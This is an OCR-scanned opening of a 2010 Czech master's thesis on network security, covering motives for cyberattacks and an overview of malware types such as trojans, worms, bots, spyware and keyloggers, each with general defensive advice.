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ABSTRAKT

Diplomova préce se zabyva aktualni problematikou bezpe¢nosti informacnich systéma ¢i
siti. Poskytuje pichled o formach pocitacovych infiltraci a zahrnuje pfipadné bezpecnostni
protiopatieni. Rovnéz popisuje metody pruniku do informacnich systémt a definuje
subjekty, které tyto ¢innosti provadéji. Diilezitou ¢asti této prace je kontrolni bezpecnostni
proces - penetra¢ni testovani a jeho provedeni na cilové siti, véetné navrhu souéasnych

moznosti aktivni obrany.

Klicova slova: Bezpec¢nost, Ochrana pocitacové sité, Pocitatové utoky, Pocitacové
infiltrace, Malware, Spyware, Hacking, Cracking, Penetra¢ni test, Systém detekce
naruseni, IDS, Systém prevence proti naruseni, IPS, Firewall, Antivirus, Antispyware,

Honeypot

ABSTRACT

The Master’s thesis deals with actual issues of security of information systems or
networks. Provides an overview of the forms of computer infiltrations and includes their
security countermeasures. This thesis also describes methods of penetration into the
information systems and defines the entities that perform such activities. An important part
of this work is a process control security - penetration testing and its implementation on

the target network, including the proposal current possibilities of active defense.

Keywords: Security, Computer network protection, Computer attacks, Computer
infiltration, Malware, Spyware, Hacking, Cracking, Penetration test, Intrusion detection
system, IDS, Intrusion prevention system, IPS, Firewall, Antivirus, Antispyware,

Honeypot
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UvoD

Bezpecnost informaci je velice aktudlni téma, které se i diky rozvijejici se celosvétové siti
Internet stalo prioritou u vétSiny firem a jedincu, ktefi chtéji chranit sva cenné data. Firmy
se snazi zabezpelit napi. své know-how, zdrojové kody svych aplikaci, obchodni
informace, plany budoucich projektu apod. Jedinci jako jsou bézni uzivatelé, chtéji chranit
napf. SVé autentiza¢ni idaje internetového bankovnictvi nebo nenahraditelné dokumenty
z osobniho Zivota (fotky, videa, dokumenty) apod. To vSe spada pod oblast bezpe¢nosti

informacnich systémd, kterou se tato prace zabyva.

Jednim z nebezpeci, které ¢iha na informacni systémy, jsou pocitatové utoky. Pocitacové
utoky se vSak nevyskytuji pouze za tucelem pramyslové SpionaZze a konkuren¢niho boje
spole¢nosti, ale zasahuji od teroristickych a naboZenskych skupin, az po narodni
a vojenskou sféru. V této préaci si uvedeme divody pachani pocitatovych utokd, dale jaké
metody pruniku do pocitatovych systému zname. Budeme se zabyvat hackingem a povime
si 0 oblibenych hackerskych nastrojich. Povime si také podstatné informace
o pocitaCovych infiltracich, s kterymi se mizeme v dnesni dobé setkat a jak se jim mizeme
branit. Rovnéz se budeme zabyvat pojmem socialni inzenyrstvi, ktery je zaméfen na

jedinou stalou slabinu informac¢niho systému — ¢lovéka.

Hlavnim cilem této diplomové prace bude provéieni bezpecnosti poéitacové sité formou
penetracniho testu. Cely proces penetra¢niho testovani si popiSeme a zdiiraznime detaily,
Které se v prub¢hu tohoto testu vyskytnou. Pokusime se zjistit slabiny testované sité
pomoci specializovanych programut. Vysledkem bude vyhodnoceni, v kterém popiSeme
nalezené zranitelnosti a navrhneme moznosti jejich zabezpeceni. Zjistime, jaky je rozdil
V nalezenych informacich o zabezpeCeném a nezabezpeCeném pocitaci v testované siti.
Rovnéz tato prace bude zahrnovat definici dalSich bezpe¢nostnich nastrojt, véetné systému
detekce naruSeni (IDS), systému prevence proti naruSeni (IPS) ¢i lakadel tzv. honeypott.
Nechybi zde ani charakteristika, uz v dnesSni dobé& nezbytnych, firewallt, antivirovych

a antispywarovych softwart.

Hned v Gvodu této préce si je proto nutné fict, Ze bezpe¢nost informacniho systému je
neustaly proces, pii kterém po zabezpeceni nalezenych chyb vznikaji postupem ¢asu nove,
Které je tieba opét opravit a tim stale zdokonalovat celkovou bezpecnost systému. A pravé
tém, ktefi dbaji na ochranu svého pocitatového systému, by mohla tato prace ulehcit

pochopeni pocitaéové bezpeénosti.
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. TEORETICKA CAST
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1 PROBLEMATIKA UTOKU NA POCITACOVE SITE

1.1 Duvody pocitacovych ttoki

Kazdym rokem [1] narGsta pocet nelegalnich a kriminalnich aktivit v informac¢nim
prostoru. Kybernetickd kriminalita je totiz velmi lukrativnim a relativné¢ bezpe¢nym
zdrojem piijmu. Pachateliim téchto trestnych ¢inti navic nahrava fakt, ze pravdépodobnost
uvéznéni je vice nez trojndsobna pii klasické loupezi nez pti pocitaovém podvodu. Navic
mnohé takové nelegalni aktivity nejsou vilbec oznameny nebo odhaleny, tim se i velmi
obtizné vycisluji ztraty zptisobené nelegalnimi ¢innostmi na internetu. VSeobecné plati, ze
zjiSténa byva jenom mala ¢ast celkové trestné Cinnosti na internetu a k odhaleni pachatele

casto vede jenom nahoda.

KdyZ se na pocitacové utoky [1] podivame z SirSiho hlediska, zjistime, Ze se objevuji
v mnoha sférach, od konkuren¢niho zpravodajstvi, praimyslové $pionaze, politického boje
a manipulace s ob¢any, armadnich uceld az po terorismus. Pravé terorismus predstavuje
globalni hrozbu, ktera neustale nartista a zasahuje do celého svéta. Nasledky teroristickych
akci byvaji ¢asto niCivé, protoze na sebe chtéji tyto teroristické organizace upozornit a ke
svym utokiim se hrdé hléasi. Podle motivace jsou teroristické utoky déleny jako: politicky
terorismus (napi. k ziskani vlastniho statu nebo autonomie, nespokojenost se stavajicim
politickym reZzimem), ndboZensky terorismus (zpravidla vedeni valky za vyhlaSeni
»svatého boziho statu®), kriminalni terorismus (skupiny provozujici organizovany zlocin,
ziskavani finan¢nich prostfedkii prostiednictvim ilegalnich aktivit) a psychoticky
terorismus (individualni druh terorismu, z divodu uspokojeni pocitu u dusevné nemocného

cloveka).

V piipadé [1] terorismu v kyberprostoru jsou pouzity neletalni formy atokd, tj. pifi kterych
jsou zneuzivany vypocetni a telekomunikacni techniky véetné internetu jako prostredku
a prostiedi pro uskutecnéni teroristického utoku. Teroristické skupiny pouzivaji informacni
technologie a internet k planovani svych akci, ziskavani penéznich prostfedkd, Sifeni
propagandy a svych vyhruzek. Cilem je pfedevSim ovlivnéni vetfejného minéni ¢i
politickych elit, ¢imz se odliSuji od hackerstvi, o kterém si povime pozd&ji. Patii sem
i medialni terorismus (psychologicky terorismus), ktery zneuziva hromadnych sdélovacich
prostiedkii a dalSich psychologickych prostiedkli, za ucelem ovlivnéni nézord celé

populace nebo cilenych skupin obyvatelstva. Za terorismus v kyberprostoru se povazuje
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utok na kritickou infrastrukturu protivnika, ale nékdy staci jen i hrozba Utoku tohoto typu,
kterd je doprovazena psychologickym efektem, ktery u protistrany vyvola miru strachu,

jenZ sekundarné vede k vyznamnym fyzickym, ekonomickym nebo jinym Skodam.

Podle geopolitického hlediska [1] mtzou byt uto¢nici rozdéleni do nékolika skupin:
teroristé, neptatelské narodni staty, sympatizanti teroristi nebo jini odpurci néjaké politiky
a nadhodni hacketi bez politické motivace, ktefi pouze vyhledavaji vzruseni a v€hlas ve své
komunité. Napiiklad neékteré neptatelské narodni staty vyvijeji kybertronické prostiedky
pro Spionaz proti ostatnim statim, jejich primyslu nebo finan¢ni sféte. Takovyto
informaticky zbrojni potencial je velmi obliben, nebot” asymetrické vale¢né strategie jsou
jednou z mala moznosti, jak soupefit s nepfitelem, ktery ma totalni pfevahu vojenské
1 ekonomické sily. Nékolik malo specialisti mtze s relativné malymi naklady poskodit
hospodaistvi technicky vyspélého stdtu. Vznikaji tak informacni valky a existuji i realné
hrozby, Ze by se do nich mohli pfipojit sympatizanti teroristt a hackefi s protiamerickym
¢1 jinym negativnim smyslenim a spojenim téchto skupin by mohlo dojit k vytvofeni Siroké

nepratelskée koalice.

Utoky vi¢i informaénim [1] technologiim protivnika mohou byt vedeny jak na jeho
kritickou infrastrukturu, tak napft. jen jako defacement webovych stranek (tj. pozménéni
obsahu stranek nebo nahrazeni novymi), které mohou mit za nasledek negativni publicitu
a sniZzovani autority protivnika, zejména jedna-li se 0 webové stranky vladnich organizaci.
Tyto pocitacové utoky typu defacement webovych stranek nebo typu DoS (Denial of
Service) Casto doprovazi valeéné konflikty, napf. palestinsko-izraelsky konflikt, valka
v Irdku, konflikt v Kosovu aj. Hackerské skupiny se takto snaZi zasahnout, upozornit,

protestovat nebo vyjadfit sviij nazor na momentalni déni.

Zminéné terminy informacéni valky a infoware [1] se objevily uz v dob¢ studené valky,
ktera byla obrovskou pfilezitosti pro financovani a rozvoj metod informac¢niho boje.
Informacni vélka je soucast statni politiky, kterd usiluje o dosazeni statnich zajmu
S minimalnim pouzitim tradi¢ni vojenské sily. V tomto smyslu tedy informacni valka
ptedstavuje ,,politickou valku®, v niz pouZzité zbrané sice nejsou viditelné a ziejmé, zato
jsou vsak velice konkrétni ve svych ucincich. Informacni valky Ize definovat jako aktivity
vedené nebo koordinované stadtem scilem ziskat informacni pfevahu nebo vyfadit
technologickou infrastrukturu protivnika (soucast informaéni valky je i boj o informace).

Arzenalem informacni valky je pak infoware, coz je souhrn vSech bojovych prostfedkt
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zaméfenych na  znieni informacni nebo elektronické infrastruktury protivnika
a informatickych prostfedki k vedeni elektronického boje. VyuZiti infoware je mozne
I Vozbrojeném stietu, kdy lze infoware mimo klasickych zpravodajskych technik
a dezinformace pouzit napt. k narusovani podplrnych struktur, kompromitaci systému
zajistujicich zdsobovani protivnika apod. Nejvyraznéjsi vlastnosti infoware je jeho dosah,
potencionalni schopnost Uto¢nika na kterémkoli misté planety napadnout cil na libovolné

vzdaleném mist¢, kde existuje pfipojeni k siti.

Cilem informa¢ni valky [1] je oslabeni pozice jinych statl, podvraceni jejich statnich
zdkladi a naruSeni statniho fizeni pomoci informacniho plisobeni na politickou,
diplomatickou, ekonomickou a socidlni sféru spolecenského Zivota provadénim
psychologickych operaci a jinych demoralizujicich a rozvracejicich  aktivit
Vv kyberprostoru. Dulezitou c¢asti informacni valky je i psychologicky warfare neboli
psychologickad vélka, jenZ je pouzivana jiz odpradavna, a jeji podstatou jsou metody
nenapadného a postupného vkladani myslenek, nazort nebo piesvédceni do podvédomi
nepfitele s cilem ovlivnit jeho rozhodovani ve sviij prospéch. Lze na ni pohlizet jako na
vSestranny vliv na masovou psychologii. Dals§i dulezitou casti informacni valky je
ekonomicky informa¢ni warfare, tj. schopnost ochranit vlastni informace a ziskat
informace o technologiich pouzivanych protivnikem. Jednou z metod, jak ziskat tyto
informace, je primyslova a obchodni $pionaz, ktera pro tyto ucely pouziva hackerské
utoky na komunikacni kanaly a servery zajmového subjektu. Jinym typem Spiondze je

vojenska Spionaz (rozvédka), ktera je ale zaméfena na bezpecnost statu.

Metody informaéniho boje [1] jsou nejen ve vojenskych kruzich, ale i u velkych
prumyslovych korporaci, kde naptf. obchodni informace, informace o technologiich
a technologickych postupech pati k tomu nejdraz8imu, co firma vlastni. Proto takovéto
firmy vytvareji jednotky ,business intelligence”, které se zabyvaji studiem volné
dostupnych materiali o konkurenci. To, co neni vidét, jsou metody primyslové Spionaze,
které mimo jiné pouzivaji celou fadu hackerskych technik k proniknuti do informacnich
systéml konkurence, ziskani informaci o obchodnich zajmech, marketingovych planech

nebo piipravovanych produktech.

Jako posledni oblast zminime [1] globalni odposlech informaci, kde jsou monitorovaci
systémy béznou vybavou vojensko-politickych alianci, které je hojné pouzivaji zhruba od

padesatych let minulého stoleti. Jejich Ukolem je ziskani, co nejpfesnéjsich strategickych



UTB ve Zliné, Fakulta aplikované informatiky, 2010 15

informaci, zejména mimo hranice statu, a jejich analyza sméfujici k podpofe strategického
rozhodovéni ozbrojenych slozek na zdklad¢ informaci o hrozicim nebo potencionalnim
nebezpecCi. Piestoze puvodni tkol téchto systému spocival v ziskavani zpravodajskych
informaci vojenského charakteru, pifesouva se jejich vyuziti i do ekonomické oblasti, kde
jsou informace, vytézené piehledovym odposlechovym systémem, ,kupovany* velkymi
firmami a slouzi jako podklad pro jejich rozhodovani. Nej€astéjsi metodou je monitorovani
radiového provozu a odposlech sateliti. Mezi nejznaméjsi systémy patii Echelon
(UK/USA) a FAPSI (Rusko).

Toto byla charakteristika oblasti, kde se vyskytuji pocitatové utoky, spadajici od
teroristickych, nabozenskych, nacionalistickych skupin, narodnich a politickych zajmad,
vojenskych ucelti az po komer¢ni sféru primyslové a obchodni Spionaze. Nasledné si

uvedeme detailnéj$i rozdéleni pocitacovych utokt a jejich ucel.

1.1.1 U&el poéitatovych titoki

Z hlediska bezpe€nosti [1] maji informaéni systémy zpravidla zajiStovat utajeni
chranénych dat, jejich dosaZitelnost pro autorizované subjekty a jejich integritu. Zadny
informac¢ni systém vSak neni absolutné bezpeény, proto se Gto¢nici snazi odhalit jeho slaba

mista, kterd se pak pokouseji zneuZit pro urcity ucel.
Utoky souvisejici s lidskym pfi¢inénim mohou byt déleny:
- Umyslné — vedené s cilem poskodit systém nebo uZivatele.
o Pasivni — dochazi pouze k odposlechu a sledovani cilového systému.
o Aktivni — dochazi k pozménovani dat a zménam napadeného systému.

- NeumyslIné — zapfti¢inéné napt. chybou operatora ¢i uzivatele, nebo duvéfivosti

vici postupiim socialniho inzenyrstvi.
Dale se utoky déli podle prostiedi:
- Utoky z vnéjsiho prostiedi — tedy z prostiedi z internetu.

- Utoky z vnitiniho prostiedi — tedy napf. z prostfedi firemni sitd, pachatel ma

ptistup do této sit¢ (nespokojeny zaméstnanec a jini insidefi).
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Podle ucelu [1] by se daly utoky rozdélit:

- Unik (ziskani) informaci — odhaleni nebo prozrazeni divémé informace

neautorizovanému subjektu.

- Naruseni integrity — poruseni konzistence dat, vytvoieni novych nebo zménénych

dat, vymazani stavajicich dat neautorizovanym subjektem.

- Potladeni sluzby — GimysIné branéni ptistupu legitimniho subjektu k informacim

nebo jinym systémovym zdrojim (napt. utoky DoS).

- Nelegitimni pouZiti — zdroj je pouZivan neautorizovanym subjektem nebo
neadekvatnim zplisobem (napi. proniknuti do systému a pouzivani placenych

sluzeb, aniZ by dochazelo k faktickému vyuctovani a zaplaceni sluzby).

K atokim muze, ale klidn¢ dojit nemusi. Mohou mit jen [1] zastraSovaci ucinek, kdy
samotnad hrozba potencionalnim dtokem dosdhne poZadovaného efektu. Pokud k nému
nedojde, miize nastat realizace Utoku, avSak zalezi na tom, zda ma uto¢nik moZnosti

a schopnosti Utok viibec provest.

1.2 Pocitacova infiltrace

S pocitatovymi utoky hodné souvisi pravé pocitacova infiltrace, za kterou povazujeme [2]
jakykoliv neopravnény vstup do pocitacového systému. To znamena ptistup k jeho datim
(dokumentiim, programim atd.). K aktivaci Skodlivého softwaru a nasledné infiltraci
pocitaCového systému je vétSinou potieba Cloveka, ktery jej musi sam spustit. Veskery

Skodlivy a nezadouci software v pocitatovém systému ozna¢ujeme pojmem malware.

1.2.1 Trojsky kin

Prvnim malwarem, ktery si popiSeme je trojsky kun (angl. trojan horse), je to [11]
pocitacovy program, ktery se jevi jako uziteCny software, ale misto toho narusi
zabezpedeni systému a napacha spousty Skod. Trojské koné se $ifi tim, Ze jsou uZivatelé
zlakani k otevieni programu, protoze si mysli, Ze pochazi z legitimniho zdroje. Rovnéz
muze byt trojsky kin soucasti jiného softwaru, ktery stdhnete zdarma. Trojsky kin na
rozdil [2] od viru neni schopen replikace a ani se sdm nepfipojuje k hostitelskému souboru.
Nejcastéji se v pocitaci vyskytuje pouze v jednom samostatném souboru (nejcastéji typu

exe).
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Trojské koné slouzi [1] pro nejriznéjsi ucely, od pouhého monitorovani postizeného
pocitace az po zneuZiti pro utoky DoS, o kterych si povime pozdéji. Zajimavou variantou
trojskych koni jsou ,,dataminery* neboli programy, které po nainstalovani monitoruji
¢innost uzivatele (napt. pii prihlasovani k bankovnimu G¢tu zaznamenavaji stisknuté
klavesy) a tyto Udaje odesilaji do sbérného mista, které ur¢i uto¢nik, kde si je nasledné

vyzvedne.
Obrana

Nikdy nestahujte [2] software ze zdroje, jemuz neduvétujete. Dale se chrante béznymi

moznostmi zabezpeceni pocitace:
- kvalitni a pravideln¢ aktualizovany operacni systém.

- kvalitni a dobfe nastaveny firewall, napt. McAfee Security Center, ESET Smart
Security, Comodo Internet Security, Sunbelt Personal Firewall, AVG Internet

Security, ZoneAlarm, Norton Internet Security, Kaspersky Internet Security aj.

- kvalitni a pravideln¢ aktualizovany antivirovy program, napt. Microsoft Security

Essentials, avast! Free Antivirus, NOD32 AntiVirus, AVG Anti-Virus aj.

- kvalitni a pravidelné aktualizovany antispywarovy (antiadwarovy) program, napf.

Spybot Search and Destroy, Spyware Terminator, Ad-aware aj.

1.2.2 Backdoors

Backdoors (Cesky zadni vratka) jsou [2] zvl&Stni skupinou trojskych koni, které se
nainstaluji [1] na cilovy poc¢ita¢ a umozni jeho vzdalené fizeni. Backdoors na sebe [2] nijak
neupozoriuji, ale vyckavaji schované, dokud se uto¢nik nepfipoji na postizeny pocitac.
Pak s nim mize provadét prakticky cokoliv, napf. mize snadno ziskavat data, vymazavat
soubory, manipulovat s operacnim systémem atd. VSe provadi vzdalené vyuzitim sité
Internet. Backdoors se skladaji ze dvou casti, tj. klientské a serverové. Serverova Cast je
umisténa v postizeném pocitaci. Pomoci klientské ¢asti, kterou vlastni Gtocnik, lze
serverovou Cast (postizeny pocitac) na dalku ovladat. Backdoors se vétSinou vyskytuji jako
soucast jiného programu (zpravidla trojskych koni) a jsou velmi oblibenym nastrojem

hackeru.
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Obrana

Branit se lze stejné jako vici trojskym kontim, tedy nespoustét [2] programy a soubory,
u nichZ si nejsme jisti tim, co obsahuji. Napadené soubory vymazat a samoziejmé se

chréanit béznymi moznostmi zabezpeceni pocitace, jak bylo popsano vyse.

1.2.3 Rootkit

Rootkit je [1] soubor technik pro skryvani ¢innosti provadénych na opera¢nim systému.
Jedné se o podmnozinu nastroji backdoors a i jejich funkce se podoba, ovSem rootkit je
spustén jako upraveny bézné uZivany systémovy program (napf. ps, top, inetd). Tyto
programy jsou tedy modifikovany tak, aby administrator nic nepoznal a hacker mél

k pocita¢i neomezeny piistup.
Obrana

Lze vyuZit specializovanych nastroji na detekci a odstranéni rootkiti (napf.
RootkitRevealer). Samoziejmé bychom méli pouZivat kvalitni a aktualizovany software,

tj. operacni systém, firewall, antivirovy, antispywarovy a antiadwarovy program.

1.2.4 Cerv

Cervi jsou typem [2] infiltrace, ktera se dostava do poéitade pievazné elektronickou postou
(e-maily). Jsou velice rozsifené, protoze se rozesilaji bez védomi uzivatele na dalsi
e-mailové adresy, které najdou v uZivatelové e-mailovém adresaii. Cerv je [11] formovan
tak, aby kopiroval sam sebe z jednoho pocitate do jiného a ¢ini tak automaticky.
Prostfednictvim internetu [2] dokaze sam sebe aktualizovat a tim padem se mize béhem
svého Sifeni dale vylepSovat. Typicky Cerv se §ifi na trovni TCP/IP protokolu a zneuziva
bezpecnostnich dér v operacnim systému nebo aplikacnich programech. Ze vSeho nejdiiv
[11] pfejima kontrolu nad funkcemi pocitae, které mohou pienaset soubory nebo
informace. Vzhledem k tomu, ze se Cervi nemuseji §ifit prostfednictvim hostitelského
programu nebo souboru, umoznuji pievzeti vzdalené kontroly nad vaSim pocitaCem jinému

uzivateli.

Cerv se vyskytuje [2] zpravidla ve formé p¥ilohy e-mailové zpravy. Piiloha byva tvotena
souborem se dvéma pfiponami, napf. PamelaAnderson.jpg.exe. Pokud nemate spravné
nastaveného Prizkumnika syst¢tmu Windows, wuvidite jen soubor ve tvaru

PamelaAnderson.jpg, coz vypada jako format obrazku, mnoho uzivatelti pak soubor spusti
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a Cerv se tim padem aktivuje. Jinym piipadem byva Cerv, ktery je piimo soucasti zpravy
a spoléhd na to, Ze mate povolené v poStovnim Klientovi zobrazovani zprav v HTML
formatu a Cerv se aktivuje uz pouhym otevienim e-mailové zpravy. Nedavné piipady [15]
cervu jsou Conficker (2008), Storm (2007), Sasser (2004), Blaster (2003), 1_Love_You
(2000) aj.

Obrana

Nespoustét [2] soubory, u kterych si nejsme jisti jejich obsahem. Mit v Prizkumniku
Windows zapnuté zobrazovanim znamych typta piipon. V postovnim klientovi nepovolovat
zobrazovani zprav v HTML formatu. Pouzivat hlavné kvalitni a aktualizovany opera¢ni

systém, firewall, antivirovy, antispywarovy a antiadwarovy program.

1.25 Virus

Virus je [2] nejcastéjsi a nejznaméjsi formou pocita¢ové infiltrace. Chovani pocitatového
viru je obdobné skutecnému biologickému viru. Pocitacovy virus méa schopnost vlastni
replikace a infikace dalSich systémi bez védomi uzivatele. Je uréen [14] pouze ke
zpusobovani co nejvétsich Skod a vétSinou je jeho jedinym Ukolem mazani vieho, na co
Vv poéita¢i narazi. Virus se [11] muZe piipojit k obyCejnému programu nebo souboru
(nejCastéji spustitelnému). Viry mohou poskodit vaSe soubory, software i hardware
(hardwarové [2] vybaveni by uzZ v dne$ni dobé mélo byt odolné proti jakémukoli zpisobu
manipulace ze strany softwaru, v minulosti jej bylo mozné softwarové poskodit diky jistym

nedokonalostem v jejich firmwaru ¢i konstrukei).

Pokud se vir vyskytuje [14] v pocitaci delsi dobu, rozsiti se a jeho odstranéni je pak velmi
obtizné. Kdyz antivirovy program nenajde tieba jen jednu instanci viru, tak po dokonceni
skenovani muize dochdzet kjeho dalSimu Sifeni. Nékdy vir nejdiive napada prave
antivirové programy, aby je uz neslo spustit a rovnéz zamezuje instalaci novych antivirt.
Sifeni virti probiha jak pomoci fyzickych médii (CD a DVD média, pamétové karty aj.),

tak skrz sit’ Internet, kde se vyskytuji pfevazné na strankach s nelegalnim obsahem.

Projevy pocitace [2] napadeného virem jsou napf. mazani soubort, preformatovani disku,
zpomaleni nebo zhrouceni systému, snizeni vykonu PC, zmenSovani volného prostoru na
disku, ménéni velikosti dokumentli nebo programi, zmenseni systémové paméti RAM,

poruchami programd aj.
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Obrana

Neotvirat a nespou$tét soubory, u kterych si nejsme jisti jejich obsahem. Dbéat na
aktualizaci veSkerého softwaru, zejména opera¢niho systému, firewallu, antivirového
programu. Mezi kvalitni antivirovou ochranu patii napt. Microsoft Security Essentials,
avast! Free Antivirus, NOD32 AntiVirus, AVG Anti-Virus, Avira AntiVir aj.

1.2.6 Bot

Bot je druh [12] skodlivého kodu, ktery uto¢nikovi umoziuje pievzit kontrolu nad
napadenym pocitacem. Boti neboli ,,webovi roboti“, jsou obvykle soucasti sité
infikovanych pocita¢t (tzv. robotické sit¢€), kterd je tvofena z napadenych pocitach
rozptylenych po celém svété. Botem infikovany pocita¢ nazyvame ,,zombie®, protoze

vykonava piikazy podle Gtocnika, kterému se tika ,,botherder* nebo ,,botmaster.

Botmaster miize mit v nékterych [12] robotickych sitich k dispozici nékolik stovek nebo
tisic zombie pocitacl, v jinych piipadech to mohou byt klidn¢ desitky nebo dokonce
stovky tisic zombie pocita¢i. Mnoho téchto pocitact je infikovanych, aniz by o tom jejich
majitelé védeli. Boti pronikaji do uzivatelskych pocitaci mnoha zpiisoby, Casto se sami §ifi
prostiednictvim sité Internet. Vyhledavaji nechranéné zranitelné pocitace, které pak
infikuji a ihned je ohlasi svému botmasterovi. Poté skryté ¢ekaji na pokyny k provedeni
urcitého tkonu, napi. k odesilani (rozesilani nevyzaddané poSty, virG, spyware aj.), ke
kradezi (zcizeni osobnich a duvérnych informaci, ¢isel kreditnich karet, pfihlaSovacich
udajti do bankovnich systému aj.), k utokim DoS (Denial of Service), k podvodnému

klikani (automatické klepani na reklamu na internetovych strankéach apod.)
Obrana

Méli bychom opét dbat na kvalitni a aktualizovany bezpecnostni software v pocitaci.
Neinstalovat a nespoustét programy a soubory, u nichZ si nejsme jisti jejich obsahem.
Piipadné nastavit [12] vySsi uroven zabezpeceni v prohlize¢i nebo omezit sva uzivatelska

prava pii praci s internetem.

1.2.7 Tracking cookies

Soubory cookies (¢esky suSenky, kolacky) jsou [2] malé textové soubory, které do naseho
pocitace ukladaji n¢které webové stranky. Tyto soubory obsahuji tzv. osobni identifikacni

Udaje, na zakladé kterych nas Ize identifikovat (napt. jméno uZivatele, e-mailova adresa,
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adresa domt nebo do zaméstnani, ptipadné telefonni Cislo apod.). Webovy server ovsem
ziska ptistup pouze k t€ém informacim, které sami zadame.

Zatimco obyc¢ejné cookies [10] obsahuji pfevazné nastaveni ¢i ¢asové omezeny kli¢ pro
take informace o strankach, které jste navstivili a o produktech, které jste si prohliZeli
(napt. v n&jakém e-shopu). Pokud navstivite takovyto e-shop a prohlizite si napt. plavky,
server vam vlozi tyto informace do cookie a odesle vasemu prohlizeci, ktery si ji ulozi.
Pokud potom navstivite jiny e-shop, ktery bézi na stejném systému jako dfive navstiveny
e-shop, prohlize¢ stavajicimu serveru odeSle informace z cookie ulozené ve vasem pocitaci
a na prvni strance aktualniho e-shopu se vam zobrazi ihned nabidka plavek. Clovék se pak

divi, jak nékdo muze védét, ze bude hledat zrovna tohle.

Tracking cookies nejsou ,nebezpeéné®, ale naruSuji soukromi. Proto jsou antiviry

povazovany za potencionalné¢ nebezpecny nastroj.
Obrana

Soubory cookies [2] muzete v internetovém prohlize¢i zakazat, ale pokud je zcela

zakazete, nebudete moci navstivit nékteré webové stranky.

1.2.8 Dialer a prvky ActiveX

Dialer [7] je Skodlivy program, ktery méni zpusob pfistupu na Internet prostfednictvim
modemu, tj. jestlize se piipojujete klasickou [2] pevnou telefonni linkou s vytacenym
(dial-up) piipojenim. Misto bézného telefonniho ¢isla pro internetové pripojeni, které
zacind na troj¢isli 971 XXXXXX, pfesmeruje vytaceni na Cisla se zvlastni (vyssi) tarifikaci,
zacinajici napt. 976 XXXXXX. Takovato zména mize znamenat, ze uzivatel zaplati misto
napf. 18,-K¢/hod. tieba 1 4 000,-K¢/hod. V' nékterych pripadech [7] se tak déje zcela
nenapadné nebo dokonce automaticky, zvlast kdyz obét’ pouziva Spatné nastaveny nebo

»déravy‘ internetovy prohlizec.

Dialer [7] muze do pocita¢e vniknout navstévou ,,nevhodné” stranky (napi. pornografické),
vyuzitim technologie ActiveX (pfedevsim problém uzivatelii Internet Exploreru) nebo jako
nenapadny spustitelny soubor. Dialer [2] existuje i ve form¢ trojského koné. Ve vétsiné
piipadii uzivatel zjisti, Ze se stal obéti, az kdyz mu ptijde faktura. Bohuzel tuto fakturu
musi zaplatit, protoze zavinéni je na stran¢ uZzivatele, jelikoz dostatecné nedbal na

bezpecnost svého pocitace (internetového prohlizece).
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Obrana

Meli bychom vyuzit [2] néktery z antidialerd (programi zabranujicich pfesmérovani
telefonniho ¢isla), napt. MrSoft Antidialer, Connection Meter, OptimAccess Dial aj. Jak uz
zde mnohokrat zaznélo, méli bychom dbat na ochranu béznymi moznostmi zabezpeceni
pocitace, tj. pouzivat kvalitni a pravidelné aktualizovany operacni systém, antivirovy,
antispywarovy, antiadwarovy program a mit dobfe nastaveny firewall. Pomuze také
nastaveni vyS$§i urovné bezpecnosti prohlizeCe Internet Explorer nebo piejit na jiny
alternativni prohlize¢ napf. Mozilla Firefox. Také se da zdarma vyuzit [8] sluzby
,Omezeni odchozich hovort“ spolecnosti Telefonica O2 Czech Republic, a.s. a tim

zamezit aplikaci ActiveX, aby bez uzivatelova védomi vytacela zahrani¢ni telefonni ¢isla.

vewr

1.2.9 Spyware

Spyware jsou [2] Spionazni programy, které sleduji, shromazd'uji a odesilaji informace
o napadeném pocita¢i. K odesilani [17] dochazi bez védomi uzivatele. Na rozdil od
backdoors jsou odcizovany pouze ,statisticka“ data jako napt. piehled navstivenych
stranek, nainstalovanych programu apod. Tato Spionazni Cinnost je odiivodnovana snahou
zjistit potfeby nebo zdjmy uzivatele a tyto informace vyuzit pro cilenou reklamu. Nikdo
vSak nedokaze zarucit, Ze informace nebo tato technologie zjistovani nemuze byt zneuzita.
Proto je spousta uzivatelll rozhot¢ena samotnou existenci a legalnosti spyware. Spyware se
muze $ifit spole¢né s fadou sharewarovych programii a jejich autofi o této skute¢nosti veédi.
Nastésti [14] nedochdzi v pocitac¢i k jeho mnozZeni, uloZena data nijak neposkozuje,
nemaze a ani nepiesouva. Spotiecbovava vSak [2] vykon pocitate a mnohdy ho az
neskuteéné¢ zpomali a stejné tak i1 internetovy prohlize¢. Spyware mize do pocitace
stahovat dal$i rizné programy (opét vesmeés typu spyware), muze ménit nastaveni klica

Vv registrech a nastaveni systémovych sloZek, cozZ uz jsou skute¢né kriticka ohroZeni.
Obrana

Zvl1ast proti spyware je dulezity antispywarovy nastroj. Mezi nejkvalitnéjsi patii Spybot
Search and Destroy. DalSimi nastroji tohoto typu jsou napi. Ad-aware SE Personal,
Spyware Terminator, Microsoft AntiSpyware, SpywareGuard aj. Opét dbejme na kvalitni

a aktualizovany operac¢ni systém, firewall a antivirovy program.
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1.2.10 Adware

Adware jsou [2] skupinou spyware, kterd se do vaseho pocitace dostava legalné (s vaSim
souhlasem). Obvykle [17] jde o produkt, ktery znepfijemniuje praci S pocitaéem néjakou
reklamou. Typickym pfiznakem jsou "vyskakujici" pop-up reklamni okna béhem surfovani
a vnucovanim stranek (napf. nastaveni vychozi stranky), o které uzivatel nema zajem. Cést
adware je doprovazena tzv. EULA licen¢nim ujednanim (End User License Agreement),
kdy uZivatel musi sinstalaci souhlasit. Adware mutze byt soucasti n€kterych produktd
(napi. BSPlayer). Ackoliv nas reklama doprovazi béhem celé cCinnosti s danym
programem, odménou je veétSi mnozstvi funkci, které nejsou v klasické free verzi (bez
reklamy) dostupné. V pocitaci [14] se vyskytuje jen jedna jeho instance a nedochazi k jeho
mnoZzeni. Rozdil oproti spyware je v provadénych tkonech a Skodlivosti. Nedochdzi ke

sledovani, ale naopak k otravovani uzivatele neustalou reklamou.
Obrana

Branit se lze stejn¢ jako proti spyware, pouZijeme antispywarovy (antiadwarovy) nastroj,
napt. Ad-aware SE Personal. Rozhodné by antispywarovy (antiadwarovy) nastroj nemél

chybét v bezpec¢nostni vybaveé kazdého pocitace.

1.2.11 Keylogger

Keylogger je specialni spywarovy program, ktery snima stisky klaves a posila nasbirané
informace uto¢nikovi. Tyto informace mohou obsahovat vase piihlasovaci jména, hesla,
ptistupové piny k riznym uctim apod.

Obrana

Keylogger je program, ktery spadd do skupiny spyware, a proto pro néj plati stejné

bezpecnostni opatieni.

1.2.12 URL injection
